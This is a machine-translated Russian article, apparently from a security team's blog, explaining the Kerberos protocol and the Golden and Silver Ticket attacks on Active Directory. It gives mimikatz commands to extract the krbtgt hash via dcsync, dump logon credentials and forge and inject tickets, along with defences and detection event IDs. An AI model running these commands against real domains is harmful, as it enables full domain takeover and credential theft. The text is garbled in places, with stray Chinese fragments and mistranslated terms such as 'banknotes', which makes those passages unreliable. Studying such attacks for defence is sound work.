Узнайте о золотых и серебряных банкнотах в одной статье.

Предисловие

Один парень задал мне этот вопрос в интервью, поэтому я захотел провести небольшое исследование.

Этот метод атаки используется в BlackHat Представлено в 2014 году, спикер — Альва. Duckwall & Benjamin Delpy (@gentilkiwi) провел демонстрацию, в которой предположил недостатки логики проектирования в реализации протокола Kerberos, а это означает, что подобные атаки могут осуществляться во всех сценариях, где Windows использует Kerberos.

1. Протокол Керберос

Во-первых, давайте разберемся с протоколом Kerberos, который широко используется для аутентификации домена Windows, а также является сценарием атаки на золотые и серебряные банкноты.

Общий процесс выглядит следующим образом:

Участвующие роли включают в себя:

• Клиент: Клиент приложения Клиент приложения
• AS: Сервер аутентификации используется для аутентификации личности пользователя.
• TGS: Служба выдачи билетов используется для авторизации доступа к услуге.
• SS: Сервер службы. Служба, запрошенная пользователем.

Проще говоря, весь процесс выглядит следующим образом:

1. Клиент инициирует запрос AS_REQ к KDC. Содержимым является метка времени, ClientID, сетевой адрес, тип шифрования и т. д., зашифрованные хэшем пароля клиента.
2. KDC использует хэш клиента для расшифровки и поиска учетной записи в ntds.dit (база данных, доступная только на контроллерах домена). Если результат правильный, он возвращает билет TGT, зашифрованный с помощью NTLM-хеша krbtgt. TGT содержит PAC (сертификат атрибута привилегий). ) , разные учетные записи имеют разные разрешения, PAC - это способ различать разные разрешения), PAC содержит sid Клиента, группу, в которой находится Клиент
3. Клиент инициирует запрос TGS_REQ на конкретную услугу к KDC с билетом TGT.
4. KDC использует krbtgt Расшифровать NTLM-хеш и, если результат верный, вернуть в сервис NTLM-хеш. Зашифрованный билет TGS,И приносить на ПАК возврат Клиенту (клиенту),На этом этапе не имеет значения, есть ли у пользователя разрешение на доступ к сервису или нет.,Если TGT (аутентификационный билет) верен.,Просто верните билет TGS.
5. В это время клиент использует билет TGS, предоставленный KDC, для запроса услуг.
6. Сервер использует собственный NTLM-хэш для расшифровки билета TGS. Если расшифровка верна, отнесите PAC в KDC и спросите клиента, есть ли у него права доступа. Контроллер домена расшифрует PAC. Получите SID клиента и группу, к которой он принадлежит, а затем определите, имеет ли клиент разрешение на доступ к службе на основе ACL службы.

Например, весь процесс таков: вы хотите полететь, но в аэропорту вам говорят, что у вас должен быть билет (TGT), прежде чем вы сможете сесть на самолет. Затем вы идете в кассу (AS), чтобы показать свое удостоверение личности (). Имя клиента) и покупаете билет (TGT), вы садитесь в самолет со своим билетом, показываете его на станции регистрации билетов (TGS), обслуживающий персонал сообщает вам номер вашего места (Ticket), после чего вы можете садиться в самолет. ваше место.

Каждый шаг описан более подробно ниже.

1. Вход пользователя

• На этапе входа в систему пользователь обычно вводит информацию [имя пользователя] и [пароль].
• На стороне клиента информация [пароль], введенная пользователем, используется для генерации [Ключа клиента] посредством односторонней хеш-функции.

2. Запросить аутентификацию личности

(1) Клиент отправляет запрос аутентификации в AS.

• Клиент отправляет запрос аутентификации в AS для пользователя, выполняющего операцию входа в систему.
• В приносить есть информация о [имя пользователя],Имя пользователя отправляется клиенту в виде открытого текста.

Примечание. Клиент не отправляет информацию [пароль] или [ключ] при отправке запроса аутентификации в AS.

(2) AS подтверждает личность пользователя, вошедшего в систему клиента.

• После того как AS получает запрос на аутентификацию пользователя, он ищет в базе данных, существует ли имя пользователя, на основе информации [имя пользователя] в запросе.
• Если [имя пользователя] существует, соответствующий [пароль] также можно получить из базы данных. AS использует ту же одностороннюю хэш-функцию для генерации секретного ключа для [Пароля]. Если информация [Пароль], предоставленная пользователем на шаге 1, верна, секретный ключ совпадает с [Ключем клиента] у пользователя. глава входа в систему.
• ASдляClientОтветьте на следующее сообщение：
  • Msg A [Клиент/TGS зашифрован с использованием [Ключа клиента] SessionKey]
  • Msg B TGT (Ticket-Granting-Ticket) зашифрован с использованием [ключа TGS], поэтому клиент не может проанализировать сообщение. TGT содержит следующую информацию:

[Client/TGS SessionKey]
Client ID
Срок действия билета
Сетевой адрес клиента

После того, как Клиент получит ответное сообщение от AS, он может использовать свой собственный [Ключ клиента] для расшифровки сообщения A, получив таким образом [Client/TGS SessionKey]. Но поскольку сообщение B зашифровано с использованием [ключа TGS], клиент не может его расшифровать.

Уведомление:

• Одно из сообщений, на которые ответила AS, принадлежит Клиенту, а другое принадлежит TGS.
• Существует две копии Client/TGS SessionKey: одна для клиента и одна для TGS.
• В шифровании, упомянутом в этой статье, используются симметричные алгоритмы шифрования, если не указано иное.

3. Запросить авторизацию услуги

(1) Клиент отправляет запрос на авторизацию услуги в TGS.

Запрос, отправленный клиентом, содержит следующие два сообщения:

• Сообщение C: запрашиваемый идентификатор услуги, то есть [ИД услуги] TGT, предоставленный AS для Клиента на предыдущем шаге 2.2;
• Сообщение D: Аутентификатор 1 {Идентификатор клиента, временная метка} зашифрован с использованием [Client/TGS SessionKey].

(2) TGS — это билет авторизации службы ответа клиента.

Сообщения, которые TGS отвечает Клиенту, включают:

• Msg E Билет клиент-сервер, зашифрованный с помощью [служебного ключа]. Билет содержит следующую информацию:

[Client/Server SessionKey]
Сетевой адрес клиента
Срок действия билета
Client ID

• Сообщение F [Client/Server SessionKey] зашифровано с использованием [Client/TGS SessionKey].

Уведомление:

• Сообщение F использует шифрование [Client/TGS SessionKey], поэтому сообщение видно Клиенту. Клиент может получить [Client/Server SessionKey] после его расшифровки.
• Msg E шифруется с использованием [Сервисного ключа], и сообщение можно рассматривать как TGS для Сервиса. Сообщение Сервера переносится только Клиентом.

4. Отправить запрос на обслуживание

(1) Клиент отправляет запрос на обслуживание на SS (Сервер обслуживания).

Отправленное сообщение включает в себя:

• Msg E На предыдущем шаге 3.2 TGS — это сообщение Msg, на которое ответил Клиент. E。该消息可以理解для由ClientдляSSнестиприноситьновости。
• Сообщение G Authenticator 2, зашифрованное с помощью [Client/Server SessionKey], содержащее информацию {Client ID, Timestamp}. Аутентификатор 2 здесь отличается от Аутентификатора 1 на предыдущем шаге 3.1.

Уведомление:

• [Client/Server SessionKey] не передается напрямую прозрачно, а включается в сообщение E, зашифрованное с использованием [Service Key].
• Поскольку [Client/Server SessionKey] не передается напрямую и прозрачно, Клиенту необходимо доказать SS, что он имеет правильный [Client/Server SessionKey], поэтому Аутентификатор 2 использует шифрование [Client/Server SessionKey].

(2) SS отвечает Клиенту

• После того, как SS получает запрос на обслуживание от клиента, он сначала использует свой собственный [Service Key] для расшифровки сообщения E и извлечения билета клиент-сервер. На шаге 3.2 упоминается, что билет содержит [Client/Server SessionKey] и Client. идентификационная информация.
• SS использует [Client/Server SessionKey] для расшифровки сообщения G, извлечения информации об идентификаторе клиента, а затем сравнивает идентификатор клиента с идентификатором клиента в билете клиент-сервер. Если он совпадает, это означает, что клиент имеет правильный идентификатор. [Ключ сеанса клиента/сервера]].
• Затем SS отвечает Клиенту сообщением H (включая информацию о временной метке, зашифрованную с помощью [Client/Server SessionKey]).
• После того, как Клиент получает ответное сообщение Msg H от SS, он расшифровывает его с помощью [Client/Server SessionKey], извлекает информацию о временной метке, а затем подтверждает, что эта информация соответствует информации о временной метке в Аутентификаторе 2, отправленной Клиентом.

Как видно из приведенной выше информации, данный процесс взаимодействия играет роль «двусторонней аутентификации» между Клиентом и SS.

5. Резюме

Примерное описание трех процессов:

• Пользователь на Клиенте запрашивает службу AS TGT на KDC.
• Клиент использует TGT для запроса TGS на KDC для получения ST (билет TGS).
• Клиент использует ST (TGS Ticket) для доступа к серверу

Шифрование включает три процесса:

• Пользователи-клиенты запрашивают AS использовать хеш-шифрование, соответствующее пользователю.
• AS возвращает клиенту два фрагмента контента: первый фрагмент контента шифруется пользователем (Ticket-Granting-Ticket, TGT), а второй фрагмент контента — TGT (Ticket-Granting-Ticket), зашифрованный ключом TGS. .
• Клиент отправляет в TGS два фрагмента контента. Первый фрагмент контента — это тема TGT, а второй фрагмент контента (тикет-предоставление-тикет) зашифрован аутентификатором 1 {идентификатор клиента, временная метка}.
• TGS возвращает две части контента от клиента. Первая часть контента — это билет клиент-сервер, зашифрованный с помощью [Service Key], и [Client/Server SessionKey], зашифрованный [Client/TGS SessionKey].
• Клиент отправляет две части контента на сервисный сервер. Первая часть контента — это билет «клиент-сервер» (не расшифрованный), Authenticator 2 зашифрован с помощью [Client/Server SessionKey].
• Если все верно, сервисный сервер возвращает зашифрованную информацию временной метки [Client/Server SessionKey])

Билет выдачи билетов и билет клиент-сервер во всем процессе — это то, что мы называем Золотым билетом (Золотой билет) и Серебряным билетом (Серебряный билет).

Упомянутый выше ключ TGS берется из специальной учетной записи в AD. Эта учетная запись является служебной учетной записью KDC. Эта учетная запись автоматически создает krbtgt во время установки AD. Эта учетная запись отключена по умолчанию и не может использоваться в интерактивном режиме. Войдите в домен и не можете переименовать.

2. Золотой билет

1. Принцип

Золотой билет предназначен для подделки билета TGT пользователя krbtgt. Пользователь krbtgt — это пользователь в системе управления доменом, который используется для управления и выдачи билетов. С разрешениями этого пользователя вы можете подделать любого пользователя в системе.

Предварительные условия для использования:

• Получите контроль над доменом (да, получите контроль над доменом QAQ), подходящий для сохранения разрешений.
• Есть хеш-значение пользователя krbtgt (aeshash, ntlmhash и т. д. все в порядке, просто укажите алгоритм позже)

Условные требования:

• доменное имя
• Значение SID домена
• Хеш-пароль NTLM учетной записи KRBTGT для домена
• поддельное имя пользователя

2, используйте

(1) Получить информацию

1. Получите доменное имя

whoami
net time /domain
ipconfig /all

2. Получить SID

whoami /all

3. Получите хэш пароля NTLM или значение aes-256 учетной записи KRBTGT домена.

использоватьмимикац

lsadump::dcsync /domain:zz.com /user:krbtgt /csv

4. Подделать имя пользователя администратора

net group "domain admins"

(2) Кованый ТГТ

1. Очистить все билеты

klist purge

2. Используйте мимикац, чтобы подделать билет указанного пользователя и внедрить его в память.

kerberos::golden  /admin:administrator  /domain:zz.com  /sid:S-1-5-21-1373374443-4003574425-2823219550  /krbtgt:9f3af6256e86408cb31169871fb36e60  /ptt

3. Защита

Защитные меры заключаются в следующем:

• Запретите администраторам домена входить на любой другой компьютер, кроме контроллеров домена и нескольких серверов управления (не позволяйте другим администраторам входить на эти серверы). Делегируйте все остальные разрешения настраиваемой группе администраторов. Это значительно снижает доступ злоумышленников к Active Directory ntds.dit контроллера домена. Если злоумышленник не может получить доступ к базе данных AD (файл ntds.dit), пароль учетной записи KRBTGT получить невозможно.
• Отключите учетную запись KRBTGT и сохраните текущий пароль, а также предыдущие пароли. Хэш пароля KRBTGT используется для подписи PAC в билете Kerberos и шифрования TGT (билета аутентификации). Если для подписи и шифрования сертификата используются разные ключи (пароли), DC (KDC) проверяет предыдущий пароль KRBTGT.
• Рекомендуется регулярно менять пароль KRBTGT (ведь это учетная запись администратора). Измените его один раз, затем дайте AD выполнить резервное копирование и измените его снова через 12–24 часа. Этот процесс не должен оказывать никакого влияния на системную среду. Этот процесс должен быть стандартным способом гарантировать смену пароля KRBTGT не реже одного раза в год.
• Как только злоумышленник получит доступ к хешу пароля учетной записи KRBTGT, он сможет по своему желанию создавать золотые билеты. Сделайте недействительными все существующие золотые билеты (и все активные билеты Kerberos), дважды быстро изменив пароль KRBTGT. Это приведет к аннулированию всех билетов Kerberos и лишит злоумышленника возможности использовать свой KRBTGT для создания действительных золотых билетов.

3. Серебряный билет

1. Принцип

Золотой билет — это поддельный TGT (билет на выдачу билета), а серебряный билет — это поддельный ST (билет). Преимущество этого метода в том, что билет не пройдет через KDC, что делает его более скрытным. Однако поддельный билет является поддельным. работает только для некоторых служб, таких как cifs (служба обмена файлами), mssql, winrm (удаленное управление Windows), DNS и т. д.

Предварительные условия для использования:

• Получите хэш целевой машины (это целевая машина, а не обязательно контроль домена)

Условные требования:

• доменное имя
• Сид домена
• Полное доменное имя целевого сервера
• Доступные услуги
• NTLM HASH сервисного аккаунта
• Требуется поддельное имя пользователя

Список услуг

2, используйте

(1) Сбор информации

1. Получите доменное имя

whoami
net time /domain
ipconfig /all

2. Получить SID

whoami /all

3. Полное доменное имя целевой машины.

net time /domain  то естьhostname+доменное имя /target:\\WIN-75NA0949GFB.NOONE.com

4. Доступные службы CIFS (служба совместного использования дисков)

 /service:CIFS  

5. Имя пользователя будет подделано

 /user:Administrator

6. ntlm сервисного аккаунта hash(Primary Username : WIN-75NA0949GFBприноситьизhash,Не от админа)

 /rc4:08d93ddf15a6309a46daaa7ec8565296
#Файл mimikatz.log генерируется (выполнение хоста управления доменом

7. Воспользуйтесь файлообменником cifs для получения сервисного аккаунта NTMLhashценить (используйте мимикац на основе 14068)

Уведомление:Учетной записью службы является доменное имя $.

mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt

(2) Подделка СТ

1. Очистить все билеты

klist purge

2. Используйте мимикац, чтобы подделать билет указанного пользователя и внедрить его в память.

kerberos::golden /domain:доменное имя /sid: введите sid /target: полное имя управления доменом /service:cifs /rc4: служебная учетная запись NTMLHASH /пользователь: имя пользователя /ptt

Заключение

Краткое понимание золотых и серебряных банкнот:

• Золотой билет: он напрямую фиксирует хэш учетной записи ktbtgt в контроллере домена для создания билета TGT на стороне клиента. Затем билет распространяется на все службы на всех машинах.
• Серебряный билет: Фактически, когда хэш службы управления доменом захватывается, билет TGS генерируется на стороне клиента как обычный пользователь домена, и сгенерированный серебряный билет предназначен для определенной службы на определенном компьютере. Только указанные службы. к указанной целевой машине можно получить доступ.

Для обнаружения, пожалуйста, обратитесь к: Обнаружение Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory

• И Golden Ticket, и Silver Ticket оставляют журналы в журнале. Разница в том, что Golden Ticket оставляет журналы на контроллере домена, а Silver Ticket оставляет журналы только в целевой системе, поскольку Silver Ticket не взаимодействует с KDC.
• На получившийся лог следует обратить внимание на Идентификатор события 4624 (вход в учетную запись), 4634 (выход из учетной записи), 4672 (вход администратора), а поле домена должно быть Домен. Время пусто

ссылка:

• Иллюстрация принципа протокола Kerberos
• AD Forest Recovery - Resetting the krbtgt password
• Golden Ticket
• Подробное объяснение золотых билетов Kerberos
• Проникновение домена (использование золотого билета)
• Проникновение домена (использование серебряных купюр)
• золотые банкноты и серебряные банкноты
• How Attackers Use Kerberos Silver Tickets to Exploit Systems
• Подробное объяснение серебряных билетов Kerberos

Коммандос Хунке был создан в 2019 году под руководством капитана К. Лонга и совместно с аспирантами многих ведущих университетов страны. С момента своего создания его команда участвовала во многих международных соревнованиях по сетевой безопасности и добилась хороших результатов, а также накопила богатый опыт соревнований. В настоящее время группа насчитывает более 30 официальных членов и несколько резервных сотрудников, а также несколько подчиненных объединенных групп. Hongke Commando всегда придерживается принципа: сначала человек, а потом технологии, и стремится создать ведущую международную команду сетевой безопасности.